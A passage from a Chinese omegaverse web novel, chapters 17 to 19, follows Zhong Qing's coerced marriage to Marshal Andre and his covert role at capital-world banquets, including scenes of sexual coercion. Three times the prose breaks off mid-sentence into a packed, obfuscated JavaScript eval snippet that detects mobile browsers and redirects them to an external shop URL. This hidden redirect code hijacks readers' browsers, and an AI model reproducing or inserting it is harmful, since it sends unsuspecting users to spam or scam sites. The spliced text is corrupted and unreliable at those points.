这几天的经验告诉他,最好不要惹怒这只疯狗。所以他只是顿了一下,就听话地向安德烈走去。 安德烈正在一根一根修剪玫瑰花刺。 在看清他的动作后,钟情慢慢停下脚步,意识到接下来可能会发生的事情,他猛地转身向楼下跑去。 17. 素银指环 跑到一半就被人拦腰抱起来。突然的悬空让钟情晕眩了一秒,清醒过来后就发现自己已经被放进一片玫瑰丛中。 花刺一根根剪去,只剩下纯白的花瓣,和浓烈醉人的芳香。雪一样的花瓣把他的肌肤映衬得像丝绸一样洁白光滑,上面斑驳的痕迹破坏了这匹绸缎的完美,却只会激起另一个人更浓的凌虐欲。 一个轻吻就能让被完全标记过的Omega失去反抗的力量。在被彻底拖入意乱情迷的狂潮之前,钟情第一次主动抱住安德烈的脖颈,泪眼乞求:“别在这里……安德烈,求求你……只要别在这里……” 回应他的是更猛烈的、几乎像是惩罚的亲吻。 玫瑰花朵被蹂躏得支离破碎。花瓣凌乱不堪地黏在钟情腿间、颈侧,花汁留下一道道濡湿的痕迹。 在满地熟悉又陌生的玫瑰花香中,钟情终于支撑不住,失声哽咽道:“你到底把我当什么?” “我想把你当做妻子。”安德烈在绵长亲吻的间隙中道,“可你不愿意。” “那我便只能把你当做情人。” 他抚摸着钟情因为疼痛和回忆渗出半颗眼泪的眼角,轻声问,“什么时候你才能为我掉一滴眼泪呢?” * 钟情逐渐意识到,愤怒、乞求和眼泪,在安德烈面前都是没有用的。 一个月的易感期过去,他像是恢复了理智,但又像是仍未清醒过来。在钟情面前,他仿佛真的变成一个没有感情的机器人,为所欲为,毫不顾忌钟情的想法。 钟情只能让步。 他会在每天安德烈的早安吻后回以微笑,会等待安德烈傍晚回来一起用餐,然后并肩在花园里散步,一起看着诺恩军区紫罗兰色的夕阳落下。某天安德烈直至深夜才回来,第二日钟情便亲手做了一盏壁灯,为晚归的人照明。 钟情还将饭后甜点改成蓝莓而不是香草口味的冰激凌,开始重新养瑞云殿,读安德烈特意从兰凯斯特命人带回的古籍。 他总是尽力满足安德烈所有要求,力求将这头失控的猛兽彻底安抚下来。 他自认为已经做到了能做的一切,安德烈却还是不肯稍稍放松对他的禁锢。 直到安德烈自己亲口说出原因。 四年前那枚荒废的戒指,此刻再一次被安德烈捧在手中,奉在钟情面前。 钟情神色微微异样,悄悄将左手藏在身后。他退了一步,似乎不知道该如何应对面前的人突如其来的求婚。 安德烈眸光一沉。 他毫不留情地拉过钟情的手,看见无名指上那枚戒指。 素银指环看上去其实一点不像婚戒,更像是一个普通的装饰品,但钟情的特殊态度让安德烈察觉到异样。 他强行把这枚戒指取下来。 它显然很被主人爱护,常年佩戴却几乎没什么划痕,只在内圈上刻有两个字母。 Y。 J。 安德烈重新抬头,看向钟情的视线已经不见任何暖意。 “你这么喜欢它。把它放进你的身体里,你会开心吗?” 变态话他说过许多,还没有哪一句能像这句一样让钟情感到悲哀。 “一点点都不愿意留给我吗?他给我的标记、玫瑰花……冰激凌,你都拿走了,现在连一枚戒指也要抢走吗?” 素圈戒指掉落桌面,发出一声叮当脆响。 安德烈道:“你应该知道,人的欲望是无止境的。” “那你也要知道,人是不能被驯服的。” 驯服,没错,就是这两个字。 这个人做的一切都带有目的性,他妄图通过对严楫的模仿来造成钟情的错觉,妄图将钟情记忆里那些夫妻生活里的男主角全部从严楫替换成他自己。 在抢占严楫的标记和特权后,现在连他留下的记忆也要全部抹去。就算钟情早已看出来,在强权之下也无法回绝。 “你想驯服我,就像驯服一只鹰、一匹马。可我不是鹰也不是马。”钟情轻笑了一下,垂眼时睫毛投下一小片阴影,“那天在天台上……玫瑰花只是一个开始,对么?” 各自心知肚明的阴谋被这样赤|裸地掀开,安德烈看起来没有任何愧疚和恐惧的情绪。 他的疑惑更像是对一个运转出错的电脑程序,近乎坦白地问道:“既然之前都可以忍耐,为什么现在不可以?” “因为这是底线。” 钟情伸手去拿桌上的戒指,却在碰到它的一瞬间被安德烈按住手腕。 但这以后他并没有下一步动作,停顿片刻后他意识到他们现在的姿势就像两个幼稚的小孩,于是收回手去。 他木然看着钟情把戒指重新带回手上,轻声道:“我只是晚来一步而已。” 他很少这样轻声说话,这时听上去便有些茫然可怜。 钟情心软,放缓声音道:“晚来一步,也是不可逆转的命运。” 他将安德烈的求婚钻戒放回他的掌心。他很少这样主动触碰他,动作轻柔,带着点乞求的暗示。 “之前因为惧怕,我一直不敢和你说话。安德烈,我知道你是一个很好的人,也很感激你的感情和这一年对我的保护。但是……放我回首都星吧,如果注定早死的话,我只想和父母生活在一起。” “严楫死了,你连军区也不想待了吗?还是说,十年前你选择留在军校当助教,四年前你选择留下来当教授,也都只是为了严楫?” 安德烈轻轻抚摸上钟情的脸,依旧轻缓地、没有起伏地问,“那我算什么?” 钟情无法回答这个问题。 安德烈也不需要他的答案。他毫无预兆地起身,拉着钟情一路来到天台。 视线越过大片雪白的玫瑰花,可以看见相邻的那所白房子。 在那场劫难后它失去了所有鲜花做装饰,外墙上盘亘的断藤和枯萎的残花只让它显得更加破败。 安德烈的手指搭在护栏上轻轻一敲。 细微的嗡鸣声从四面八方而来,无数微型飞行器盘踞在那所洋房上空,在安德烈手指落下的瞬间,碟弹如雨落下。 细微的敲击声被巨大的爆炸声淹没,一片尘土飞扬之中,对面别墅的天台和阁楼轰然倒塌,破碎的砖块倾泻而下,露出空荡荡的内脏。 安德烈再次抬起手指,落下前,钟情微颤着喝住他。 “够了。” 他闭上眼睛,很快又重新睁开。所有悲凉的、难堪的情绪,都在这一瞬间强行隐藏起来。 他平静地摘下素银戒指,仔细地包裹进丝巾里放进口袋,然后伸出手,在安德烈冷淡地注视下轻声问: “元帅不为我戴上戒指吗?” 安德烈没有片刻迟疑。 他面色平静,对眼下威逼利诱后终于达成的结果似乎并不是很激动。只是在给钟情戴上戒指的时候,他的手抖了一下,试了两次才戴上去。 钟情没有注意到他的异样。 他仍旧怔怔凝望着对面那所残缺的别墅,甚至没有意识到安德烈说话时从没有过的柔和语气。 “结婚后我们可以在首都星定居。如果你想的话,可以把父母接到兰凯斯特来。” 钟情应了声好,却仍旧没看安德烈。 【我的房子!他爷爷的安德烈这败家玩意儿真是三天不打上房揭瓦,这房子上写的我名!】 钟情心中无声呐喊,【我当年为了刷深情分还抢着付了一半装修钱!那是我攒了整整八年的工资啊!】 系统默默听着,没敢说话。 这些天它眼睁睁看着安德烈一点点变得疯魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163291|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,觉得自家员工真的很有必要支付一笔NPC精神损失费。 * 研究室。 身穿白色防护服,护目镜挡住全脸只露出一双灰色眼睛的研究员朝钟情笑笑:“我还以为你永远出不来了。” 钟情从来没见过这里研究员们的真容,他们或许认识他,他却不认识他们。 他没有理会这句话:“博士呢?” “哦,他摔断了腿,下不了床。你有什么事跟我说是一样的。” 钟情拧眉。这人说话语气一本正经,内容却假得像在把人当傻子。 他垂眸思索片刻,突然解开大衣的腰带。 研究员一顿——难道他身份泄露了?这个念头在脑海中飞快闪过,他随即一挑眉,抱着胳膊近乎观赏地看着眼前发生的一切。 嘴上说着“你不要乱来”,身体却越走越近。 钟情手里动作不停,脱下大衣后,又解开衬衫的扣子,直到露出胸膛才停下来。 浓烈的冰雪味道从衣服里散开,研究室内检测仪器开始滴滴作响。 研究员顿住脚步。 “您觉得,基因检测会有造假或者失误的可能性吗?”钟情问。 良久,研究员才答:“当然不可能。” “那如果说现在有一个人,本来和严楫是同一个水平的S级Alpha,却在某天突然拥有能覆盖严楫留下的完全标记的能力呢?” 钟情已经重新穿好衣服,那霸道的冰雪气却还盘踞在空气之中。 “他强行修改他的基因数据,只是为了标记你。”研究员深深凝视着钟情,“难怪罗素会说……你是个怪物。” “修改基因数据不是人类的能力。”钟情轻声道,“议长大人,您可以立案了。” “真聪明。”研究员鼓掌道,“我是罗斯蒙德·戈雅。不能用真容见兰凯斯特夫人,真是遗憾哪。” “会有机会的。” 研究员笑笑:“恭喜你找到诺亚的复制数据。那么,你想好他的代号了吗?” “就叫精卫吧。” “哦?那是什么?” “古中国神话里的一种小鸟,”钟情微笑道,“复仇之鸟。” * 离开军区的事情让安德烈重新变得忙碌起来,却不需要钟情操半点心。 一队亲卫专门来为长官打包行李,家里闹哄哄的,所以钟情提出想要在房子外面转转的时候,安德烈没有拒绝。 行李全部打包好,一应事宜也全部安排好,临行前的那天晚上,房子的主人却突然失踪。 没有在钟情习惯散步的地方找到他,副官立即上报安德烈,在他赶回来的时候继续搜索军区里的每一条街。 安德烈从飞行器上走下来。 他打断副官焦急自责的报告,直接向邻处的白房子走去。 上次的微型碟弹损毁的不只是阁楼,整栋房子的墙壁都出现长长的裂缝,天花板上时有破洞,天光从上面照射下来,在满地灰尘里投射出一小片光影。 楼梯还算完好,但在墙壁裂缝和不知某处传出砖石摩擦的窸窣声下,走上去总给人一种摇摇欲坠的错觉。 副官没被允许跟进去,他站在房门外,看着安德烈走上摇摇晃晃的楼梯,心中捏了把汗。 安德烈推开某个房间的门走了进去。 这是唯一一个保存得比较完整的房间,玻璃没有被打碎,窗帘也没有被剪成破布。因为这里是主卧,是它的主人最后离开的地方。 沉重的天鹅绒窗帘遮住所有天光。一片昏暗中,安德烈径直向衣柜走去。 他拉开柜门,在漆黑的角落里找到蜷成一团的钟情。 他正安静地睡着,整个身体都裹在一件满是玫瑰花香气的军装里。 18. 世纪婚礼 安德烈轻轻把他抱出来,闻到他身上浓郁的玫瑰花香。 他静静地站在原地。 柜门打开后,满柜花香渐渐散去,怀中人身上的玫瑰花香也逐渐被冰雪和松针的味道重新覆盖。 内心暴戾的凶兽终于被主人重新关回牢笼,安德烈抱着人转身向外走去。 房顶漏下的光线惊扰了钟情的睡梦,他突然觉得很冷,下意识往身边的暖源靠近。 安德烈脚步微顿。 他像是难以忍耐地闭上眼。睁眼后,那些不可自拔的愤怒嫉恨悉数化作无可奈何,化作在怀里人额角上落下的一吻。 这个小插曲直到他们坐上去往首都的星舰都没有人提起。 安德烈不问,钟情也不说,不约而同地当做什么都没发生过。 舷窗外的星河绮丽绚烂,钟情坐在窗边,看得目不转睛。 安德烈则是在看他。窗外星辰在一瞬间逼近又一瞬间四散开来,从宇宙诞生起所有辉煌的颜色都被囊括其中,他却只是看着钟情。 一开始他还会试图抛出一些话题驱散舱中过分的静谧,但钟情对此兴趣缺缺,渐渐的他不再说话,只是安静地看着。 钟情实在是没精力搭理安德烈。 时空跃迁的频率已经放到最缓,仍旧超出他身体能适应的范围。没有什么很大的问题,只是让人头晕恶心,后半程他几乎都在镇静剂和睡梦中度过。 到达目的地时他还在睡着,安德烈担心他的状态,下了星舰后抱着他直接坐上飞行器回到兰凯斯特。 自发前来接机的人扑了个空,不敢对军部实际掌权人有什么微词,于是更加谨慎地审视起他身边那个东方人——曾经的严家遗孀,未来的兰凯斯特夫人。 首都星从来都只是联盟的政治中心。 这里除了驻兵以外,没有任何军事部门,护卫军队大量集中在首都星附近的几颗卫星上。这里也不从事任何生产,自有美食华服金玉珠宝源源不断地从外星系输送进来。 这里是政府要员终日忙碌的地方,也是各大贵族终日狂欢的地方。 一直以来联盟都规定军政分权。虽然到了某种程度两种权力根本不可能泾渭分明,但表面上,拥有军权的元帅们各自驻扎在军区,如非必要不会踏足首都星。而首都星上的政府议院也恪守界限,很少干涉军部的派兵计划。 所以安德烈打算在首都星长住的举动,不可谓不引人注目。 他刚在军部大刀阔斧地整顿一番,立即就携家带口回归兰凯斯特,这消息不仅让首都星政要提心吊胆,连最玩世不恭的贵族子弟也要分出心思揣摩他的用意。 钟情这场小病持续了整整一周,才从头昏脑涨浑身无力的状态中挣脱出来。 有这个现成的借口,他成功推掉了好几场明显是为他组织的宴会。 钟情当年遇袭的事,军部害怕惹起众怒本想强压下来,但严楫的求婚还是把这件事闹得声势浩大。这件事对首都的政要和豪门来说也是一个惊人的消息,所以他的身体状况很多人都大概了解一些。 他们能理解钟情一两次推辞,甚至还在私下相互下赌注,看看谁能最先把未来的兰凯斯特夫人请出来。 但三番几次过后,他们的耐心耗尽,对这位半道上位的新贵族的态度从审视变成轻鄙。 外面的风言风语不会传到家中,但钟情能猜到他们私底下都是怎样谈论他。 安德烈本来会在一年前就向他求婚,但那时严楫刚战死,他这么做会让钟情被众人的口水淹死。 不过现在看来,推迟一年的结果也不过稍微好上一点而已。 在他们心里,这位未来的兰凯斯特夫人仍旧是一个薄情寡义、贪名图利、又极有手腕的卑贱平民。 现在,他们又给他送来了这个月的第八张请帖,上面繁复的烫金花纹是罗斯蒙德家族的族徽,落款的签名是戈雅·罗斯蒙德,联盟的议长大人。 宴会在一个月之后,钟情和安德烈的婚礼却在一个星期之后。 来到首都星后安德烈就在着手准备婚礼,因为担心钟情的身体一直没有定下婚期,直到医生判断说他的身体已经休养好后,才在婚宴请帖下写下日期。 对一场豪门望族的婚礼来说,这个时间有些赶。 对他们来说,婚礼准备的时间越长,婚礼前的订婚仪式越声势浩大,才越显得重视。 不过听到婚讯的贵族们私下谈起是大都隐秘地微笑表示理解——这场婚礼毕竟有一方并不是贵族嘛。 刚搬来首都星定居,马上又要赶着筹备婚礼,安德烈忙得脚不沾地,夜深时才能回家。 钟情睡眠很浅,怕惊扰到他,回来太晚的时候安德烈索性就在主卧的沙发上窝一晚上,天蒙蒙亮的时候又要出门。有时钟情醒得早,能迷迷糊糊感受到安德烈轻手轻脚起身走过来,在他额头上落下一吻才匆匆离去。 他忙得连钟情有点看不下去。但是很显然,他心情很好,从来没有这么好过。 在婚礼的前一天晚上,安德烈早早回到家,抱着钟情睡了个好觉,然后在第二天清晨用亲吻将他唤醒。 钟情在迷迷瞪瞪中被人换上白色的礼服,等他终于彻底清醒过来时,安德烈正单膝跪在地上给他穿鞋。 这场景太过熟悉,许多年前和严楫结婚的时候他也做过这样的事。 钟情伸手轻轻抚摸着面前这人的头发,对方感觉到后握住他的手腕在掌心落下一吻。 因为身体原因钟情的气色一直不好,嘴唇也没什么血色,所以化妆师给他上了一层淡妆。 似乎是为了弥补没有订婚典礼的遗憾,这场婚礼办得盛大无比,邀请的宾客数量与严楫那场相比多出整整十倍。 因为观礼人数众多,安德烈出动了附近两个小行星的驻兵维持安保和秩序。对此,没有任何人敢提出质疑。 安德烈自幼在首都星长大,后来处理政务也时常外出,场下大部分人都对他熟识,却是第一次见到钟情。 钟家是小行星上的落魄贵族。钟情虽然因为是联盟第一个Omega战士出名,但他出名的时间太短,不足以让首都星这些眼高于顶的贵族们印象深刻。 严楫的求婚倒是闹得轰轰烈烈,但婚后他也基本上只在军区活动,没怎么去过首都星。 所以对他们来说,他之前的意义仅仅只是一个八卦中心。 教堂的大门打开,意识到另一位新人即将登场的宾客们没有立刻向外面看去,那样太不矜持。 他们维持着有一点好奇但又不甚在意的态度慢慢转过头去,看见了已经走上花道的那个人—— 很难具体地说出那是一种什么感觉,让人觉得黑发和黑瞳竟然可以这样漂亮。五官精致,神色却浅淡,似乎早已看透四面八方投来的视线里那些强装出来的无所谓。 然后任由这些乱糟糟的情绪穿过他的身体,飘到随便什么地方去。 他的长相,他的步伐,好像与他们也没什么区别,但在一种奇异心理的驱使下,他们用探究的眼神看着这个人从眼前慢慢走过,像是想要从中体会到什么深意。 在那一瞬间他们下意识觉得,他不是八卦的中心,而是传说的主角。 空气有片刻凝滞,所有人的目光都安静地停留在花道中的人身上,仿佛只有那里才有供他们呼吸的氧气。 冰雪的味道打破了这份宁静,强行让空气流动起来。 联盟顶级Alpha的信息素因为主人的薄怒在这时候显得蛮横无理,一部分空气凝结成细小的冰碴,让几位几乎要忘情的贵族呼吸时鼻尖沾上一点血腥的味道。 微痛让他们瞬间清醒,他们羞于承认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163292|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前的沉迷,不约而同地在乐队的掩盖下彼此悄悄谈话。 钟情一层淡妆也没能掩盖住的苍白皮肤,和眉眼中明显的倦色,成为他们此刻最好的话题。 似乎终于找到他“不过如此”的证据,只要攻讦他的健康,就可以把他们从现在的尴尬状态中解救出来。 婚礼仪式照常推进。 安德烈显得很镇定,念誓词和戴戒指的时候都没有任何异常,只有在接吻的时候,钟情看见他发红的耳尖。 他甚至不敢在他唇上多停留一秒,轻轻一蹭后便退开,青涩得像一个刚刚情窦初开的毛头小子。 没有人敢灌安德烈的酒,他们大多数只是想要借着敬酒得到一个和安德烈说上话的机会。就算安德烈只是浅浅抿一口酒作为回应,他们也没什么不满。而他身边的钟情,尽管他们十分好奇,也只敢说些毫无意义的赞美的话。 除了戈雅·罗斯蒙德。 钟情认识这双灰色的眼睛。 他是一个Beta,应该说,首都星大部分政要家族都是Beta。 他们不害怕任何Alpha的信息素,也不会被任何Omega的信息素吸引。他们几乎只和Beta通婚,因为Omega作为一种生育资源,只会分配给需要尽可能延续父辈基因的Alpha。 Alpha被编辑出拥有强悍身体素质的基因就是为了战争服务,所以基本上所有Alpha都会从军。Beta参与军队后勤工作是常事,但很少会有Alpha进入政府做文员,人们会把后者认为是对资源的浪费。 拥有猛兽一样体魄和直觉的Alph掌管军权,永远清醒克制的Beta掌管政权,这就是联盟一直以来的权力划分。 而Omega作为Alpha的附属品,不享有任何权力,只能在两种异性定下的婚姻法条文里,勉强维持自己的生存和尊严。 戈雅在安德烈面无表情地注视下,含笑向钟情举起酒杯。 “教授今天十分漂亮。” 见钟情只是对他点头示意,他向前一步,似乎对另一人的冷眼相待没有任何察觉。 “您的身体好些了吗?如果你想工作的话,首都星也有不少好学校,我可以为您写推荐信。” “谢谢。” 见这个话题也无法打动钟情,戈雅索性直接抛出来意:“我的请帖前几日就送到您府上,可惜一直没有收到答复。这不,我亲自过来要一个说法了。” 他微笑着用有点俏皮的语气说这话,看起来不太像一个正经政客。 众人围在他们周围,不动声色地打量着。钟情措辞谨慎地回应道:“罗斯蒙德家族相邀,我们自然荣幸至极。只是之前医生不能确定我的身体状况,这才犹豫着不敢随便答复,害怕失约扫了大家的兴。” 戈雅很容易就接受了这个理由,迫不及待地问道:“我听说之前研究所已经为教授做过身体检查了?” 安德烈神色不悦,想要说什么,被钟情轻轻拽了下袖子。 钟情此刻脑中思绪万分。 自从戈雅·罗斯蒙德乔装改扮不远万里跑到军区研究所和他见过一面后,他便再也没有见过罗素博士。虽然没有明说,但很显然,“飞鸟”的直接联系人已经变成这位尊贵的议长大人。 看来,这场宴会就是长官给他下达的第一个任务。 钟情在安德烈开口拒绝之前道:“是的。诊断结果没什么大问题。”他朝戈雅露出一个礼貌的微笑,“正巧今天遇见您,也就不用回函告知了。一个月后见,议长大人。” 面前的人很满意这个答复,眯眼笑起来道:“叫我戈雅就好。”然后向安德烈到了一个招呼,端着酒杯插进另一群人的谈话里。 安德烈放在钟情腰间的手不自然地收紧。 “为什么答应他?” 19. 假面舞会 钟情有些诧异地看了眼安德烈,没想到他会这样问。 他要是不答应,才该问为什么吧? 罗斯蒙德是不亚于兰凯斯特的强大家族,戈雅出任议长也有多年。连年战争早就让联盟的民主制度形同虚设,军部和议院的首领人物在各自领域基本上是说一不二的存在。 彼此间利益的对立和牵连,让罗斯蒙德和兰凯斯特一直保持着客客气气又不远不近的距离。 这一次安德烈定居首都星的举动太过反常,如果还拒绝对方的试探,他的行为说不定会被他们直接定性为挑衅。 钟情温声道:“拒接罗斯蒙德的请帖会给元帅带来麻烦。” 安德烈手上力道微微松懈:“所以你是为了我?” 钟情不语。 安德烈却执意要一个回答:“是吗?” 钟情笑笑:“元帅,誓言已经在群星的见证下生效,为什么还要我再重复一遍呢?” 这句话哄好了安德烈。 他心中逐渐涌上甜蜜的喜悦,有什么东西终于回归原位,连日来的焦躁不安也因此得到平息。 傍晚婚礼结束,钟情累得在浴缸里就睡着了。 安德烈在楼下拆礼物。宾客送来的礼物堆积如山,亲卫先行筛查过一遍后,挑出最珍贵或是最奇怪的东西,留给主帅再次查看。 安德烈一样样看过去,最后目光停留在一支笔上。 礼盒上有送礼者的落款:罗素敬上。 安德烈眉头轻皱。 这绝不可能是罗素博士的礼物——罗素已经死了,连同整个研究所都被碟弹炸得粉碎,就在他带钟情离开诺恩军区的前一天。 是罗斯蒙德。 安德烈旋开笔帽,果不其然在里面看到录音器的构造。他轻轻按下按钮,一阵暧昧的絮语响起,夹杂着粗重的喘息,和可怜的呻吟。 他听出其中一个声音来自严楫,而另一个,来自他的新婚妻子。 暴怒之下金属制的笔壳化为齑粉,所有声音瞬间消失,妒火却仍在滋生。那段录音里的钟情,如此温柔、主动、有求必应,和在他身下时的沉默、忍耐截然不同。 为什么? 凭什么? 智能管家轻轻碰了下安德烈的裤脚。安德烈低头,看见它光屏上显示的提醒——钟情已经在浴室里待了很久。 安德烈强迫自己从愤怒和嫉妒中清醒过来。这是罗斯蒙德的阴谋,作为对他炸毁诺恩军区研究所、摧毁政部安插在军部的间谍组织的回礼。 他上楼打开浴室门,浴缸里的人靠着墙沉沉睡去,昏黄的灯光下,裸露在泡沫之外的皮肤白得耀眼。 缸里的水已经有些凉了。 安德烈将钟情抱起,手指碰到的皮肤也是微凉的。他陪钟情一起躺下,解开衣服后将钟情紧紧抱在怀中。 他们的距离近得可以共享彼此的体温,可是心呢? * 按理说,婚礼过后就该是蜜月。 安德烈倒是很有兴致,连看好几天蜜月规划。但钟情无意远行,索性生了个小病打消他这个想法。 然后钟情就后悔了。 一开始安德烈没什么异常,反而相当温和,每天都会准备一些小惊喜。对于这些小心思,钟情回应得不太热络,但也不至于太过冷淡。只有在安德烈准备用兰凯斯特家族珍藏的地球土修建一个花园的时候,他才阻拦过。 仅仅这一次阻拦,安德烈就变了。 像是又回到他受易感期控制的那一个月,却说不清比那一个月轻松还是煎熬。 安德烈变得更沉稳了。婚礼之后他像是终于确认了什么,不再因不安而毫无节制地索求。他偷偷藏起两张结婚证,在极度高兴的时候一遍又一遍呢喃婚礼誓词,连钟情都很意外他会这样笃信这一纸婚约的力量。 但他也变得柔软了。 俯视过来的眼神不再那么坚不可摧,有时候会流露出一丝孩童般的不解和乞求。可他永远不在这个时候开口,钟情不知道他究竟想要什么,被这样的眼神看得心焦,不得不主动搂住他的脖颈,让他埋头在自己肩上。 这样的安德烈,即使在做着很过分的事情,也依然显得无害,更像一个普通人,而不是那个高高在上大权在握的军部首领。 钟情不明白自己只是说了句“不喜欢养花”,事情怎么就变成这个样子。他现在确实没有这个心思,诺恩军区已经养了两回,再大的兴趣也该消失殆尽。 就这样胡闹到一个月后,罗斯蒙德的宴会终于开始。 这场宴会上的来客很多都是一月前那场婚礼的嘉宾。 在看到前来赴宴的兰凯斯特夫妇时,他们都不约而同把眼前两人和一个月前的样子作对比。 钟家那个Omega似乎没什么变化,还是那样安静柔和又摄人心魄的美。 只是这一次没有胭脂口红帮他伪造好气色,他看起来轻得像是吹一口气就能飘走似的,每一步落下都无声无息,像一只猫。 兰凯斯特元帅状态倒是很不错,像是度过了一个十分舒心的蜜月。他们如果懂一点古中文,应该会用“春风得意”来形容。 只有东道主戈雅能察觉出安德烈平和眼神下的凛冽寒意,每当那样的眼神扫过时,他被瘆得头皮发麻,同时也激起昂扬的斗志。 戈雅抛下身边围着说话的人,向他们走来。 短暂寒暄后,他首先看向钟情。 “夫人来之前有吃过东西吗?可以先去点心区拿一些垫垫肚子。待会有安排跳舞,没力气可不行。” 他还有点亲昵地凑过来,补充道:“那边有很多Omega夫人,都是川陀贵族出身。他们若有幸能和夫人交上朋友的话,便可以在夫人无聊时陪着说说话。” 他说完话就退回去,把分寸很好地控制在不显得暧昧、又绝对能激怒安德烈的距离之间。 钟情不着痕迹地拉了下安德烈的袖子,很客气地回应道:“议长大人费心了。我现在并不饿。” “夫人——” “议长大人,”钟情直接打断他的话,“那边的先生们似乎一直在等您。” 一句话卡在嗓子眼里的戈雅露出一个意味不明的笑。 他没有继续纠缠,慢慢向后退了几步,还稍稍一鞠躬表示歉意:“那我就先失陪了,祝夫人……舞会玩得愉快。” 打发走了一个,身边还有一个。 Omega从来不参与政治和军事话题,所以宴会上来赴宴的夫妇一同和主人家打过招呼后,就会各自进入各自的社交圈。 所以现在还待在钟情身边的安德烈就显得非常突兀。 钟情轻轻推了下安德烈:“元帅也去吧。” 见安德烈眉眼间略有犹疑,他继续劝道:“不用担心我。”他示意安德烈向一个方向看去,那边的太太们视线频频扫过他们这里,“我也有我该去的地方。” 安德烈依旧眉头紧锁,但不再有阻拦的动作。 他叮嘱道:“有什么事情一定要和我说。” “我会的。” 得到保证后安德烈才一步三回头地向不远处一拨人走去,而钟情只是坐在远处,就自有人主动过来搭话。 “钟教授,您好。” 钟情抬头,看见是一个年轻的Omega女性。他朝她伸出手:“卡佩夫人。” 卡佩夫人扶着他的手坐下。她已经怀有五个月身孕,纤细的身体看上去几乎都要被撑破了。 “您认识我?” “Omega当中唯一一位嫁给Beta的夫人,我怎么会不认识呢?” 卡佩夫人苦笑:“您也觉得我做错了吗?” “怎么会?卡佩家族世代是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163293|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首都星研究所的主管人,我的命是诺恩军区研究所救的,最知道那里有着多么强大的能量。对Omega来说,研究所是很好的联姻对象,您的决定没有任何错误。” 钟情微笑,“我的母亲当年也是这么做的,她嫁给了一个被Beta家族养大的Alpha研究员,然后生下我。” 卡佩夫人会心一笑,伸手抚了抚肚子:“虽然还是免不了要生育,但是可以不用再受发情期的苦楚。” 钟情莞尔:“看来和我想的一样。只要远离Alpha,Omega和Beta就没有什么区别。” 他们之间的友好交流对于一旁观望的夫人们来说是一个友好的信号,越来越多人围过来,话题也变得杂乱起来。 到了舞会时间,众人前去更衣。 这是一场假面舞会。出席的宾客们不仅要换上新的舞衣,还要戴上面具。 钟情陪伴卡佩夫人,故而没有参与。他们一同看着舞池里众人翩翩起舞,继续悄声交谈着刚刚被打断的话题。 直到一只手伸向钟情面前。 “安德烈?” 钟情迟疑着要不要搭过去,旁边的卡佩夫人已经捂着嘴笑开。 “看来我霸占钟教授太多时间,兰凯斯特元帅不高兴了。钟教授不必管我,祝您玩得开心。” 见她这么说,钟情便挽上那只手,去更衣室换装。 走到一半的时候他便发现方向不对劲,被推进隐蔽的角落后,便是铺天盖地的吻。 钟情几乎要被吻得喘不过气,冰凉的面具摩挲着他的脸颊,舌尖的温度却无比滚烫。或许是他们都提前贴了抑制贴的缘故,钟情闻不到一丁点面前人身上的味道。面具遮挡住他的脸,只有怀抱和吻如此熟悉。 “安德烈!够了……别在这里……” 震耳欲聋的舞乐将钟情的声音和挣扎完全吞没,以致于音乐声突然停下时,他反而因为太过安静而不敢再动弹。 这样的顺从方便面前人下一步动作。 湿热的吻渐渐向下,在脖颈处缱绻游移,手指解开衣摆的纽扣,探进去,贴着腰际的肌肤缓缓抚摸,渐渐的,直至后背、脊梁。 钟情被吻得糊里糊涂,透过挡在面前的花叶,依稀看见舞池里有人在争吵。 “……我怎么就不能找他的麻烦了!”一个年轻的Omega男孩怒吼着,虽然看不清脸,但也猜出相貌出色身份不俗,“我姓蓝斯!按顺序,兰凯斯特家族这一代本就应该与我的家族联姻,安德烈本就该是我的未婚夫!” 卡佩夫人扶着肚子说了句劝慰的话,反倒让他调转矛头。 “刚刚就看见你们两个一直腻在一起。也难怪你们两个能凑到一堆,一个背叛亡夫改嫁他人,一个背叛种族嫁给Beta。一个不忠,一个不义,也倒算是天生一对呢。” 钟情听他越说越过分,担心卡佩夫人的身体,就要推开安德烈过去稳住情况。安德烈却仍不肯放开他,反而顺势捉住他的两只手腕,举过头顶按在墙上。 舞池那边蓝斯小公子还在大发脾气,说的话也一句比一句难听。 “你们做得出来,又何必害怕别人说呢?那个钟情,之前又是从军又是教书,Omega之光倒是当得起劲,可Omega的天职是半点不管。连老天都看不下去,要用糖霜子弹折磨他到死呢。” “他进军校真是上战场的吗?我看是吊凯子的吧,一个不成气候了,就赶紧找下一个,真是没有半点廉耻。他也配算是Omega之光,Omega之耻还差不多。” 他的话音未落,周围突然响起一阵骚动,有人惊呼: “安德烈元帅?” 这声音同样惊动了钟情。 